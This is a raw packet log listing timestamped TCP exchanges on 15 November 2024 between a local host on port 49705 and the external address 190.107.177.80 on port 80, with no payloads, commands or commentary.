Nov 15, 2024 09:10:03.703592062 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703668118 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.703692913 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703739882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703753948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703929901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.824837923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.824898005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.824929953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.824965000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825068951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.825068951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.825474024 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825505972 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825556993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825592041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825628042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825634956 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.825634956 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.825663090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825870991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825922012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825931072 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.825957060 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.825997114 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.826021910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826061964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826097012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826138020 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.826152086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.826373100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826468945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826503992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826536894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826546907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.826720953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826766968 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.826773882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826808929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826842070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.826877117 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.826877117 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.827151060 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.827184916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.827219009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.827254057 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.827260017 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.827322960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.948271036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948379040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948410988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948446035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948483944 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.948565960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.948817015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948894024 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948925972 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.948977947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.948978901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949011087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949045897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949085951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.949163914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949173927 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.949229956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949265003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949367046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949399948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949434042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949565887 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.949609995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949646950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949681044 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949717045 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.949721098 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.949975967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950010061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950051069 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.950051069 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.950062990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950100899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950136900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950171947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950256109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.950468063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950501919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950536966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.950546980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.950546980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.004225969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.071856022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.071890116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.071923971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.071957111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072020054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072020054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072185993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072254896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072290897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072325945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072352886 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072362900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072401047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072410107 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072463989 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072515011 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072550058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072607040 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072741032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072794914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072829008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072854042 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072920084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.072985888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.072988987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073025942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073107958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073142052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073153019 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.073178053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073210955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073241949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073256016 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.073256016 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.073585987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073641062 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073673010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073683977 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.073782921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073829889 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.073837996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073873043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073906898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.073949099 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.073949099 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.195233107 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195302010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195358992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195400000 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.195636988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195691109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195741892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195776939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195790052 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.195790052 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.195813894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195849895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195878029 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.195884943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.195919991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196021080 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196080923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196149111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196182966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196224928 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196284056 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196301937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196356058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196391106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196424961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196460009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196472883 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196530104 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196711063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196767092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196820974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196830034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196854115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196891069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.196938992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.196938992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.197037935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.197091103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.197139025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.197280884 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.242712021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.242753983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.242813110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.242841959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.242846012 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.242897034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327018023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327059031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327076912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327092886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327111006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327126026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327138901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327138901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327152967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327169895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327178001 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327188015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327203989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327220917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327222109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327238083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327282906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327301979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327339888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327373981 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327390909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327415943 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327466965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327501059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327536106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327572107 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327575922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327575922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327608109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327641964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327694893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327702999 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327728987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327760935 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.327765942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.327811003 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.366220951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.366236925 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.366252899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.366288900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.366293907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.366341114 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450313091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450331926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450388908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450422049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450439930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450455904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450526953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450542927 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450555086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450571060 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450578928 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450587034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450606108 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450678110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450719118 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450757980 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450773954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450853109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450867891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.450869083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450886011 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.450999022 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.451231956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451245070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451262951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451271057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.451308012 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.451354027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451373100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451412916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.451523066 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451570988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451611042 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.451618910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451634884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451680899 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.451719046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451735020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.451823950 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.489631891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.489674091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.489686012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.489768982 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.489779949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.489819050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.489819050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.573584080 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573693991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573710918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573764086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.573806047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573817015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573923111 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.573945999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573961020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573967934 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573972940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.573987007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574044943 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574070930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574081898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574111938 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574269056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574316025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574316025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574326038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574362993 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574399948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574410915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574420929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574665070 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574702978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574747086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574747086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574759007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574801922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574892998 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574903965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574913979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574923992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.574940920 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.574992895 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.575001001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.612860918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.612873077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.612884045 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.612984896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.613013983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.613024950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.613029957 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.613029957 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.613106012 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.613126040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.613136053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.613183975 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.696919918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.696947098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.696958065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697052956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697063923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697079897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697149038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697160959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697187901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697187901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697268009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697279930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697285891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697295904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697344065 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697344065 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697501898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697513103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697521925 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697551966 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697599888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697757006 CET	80	49705	190.107.177.80	192.168.2.10
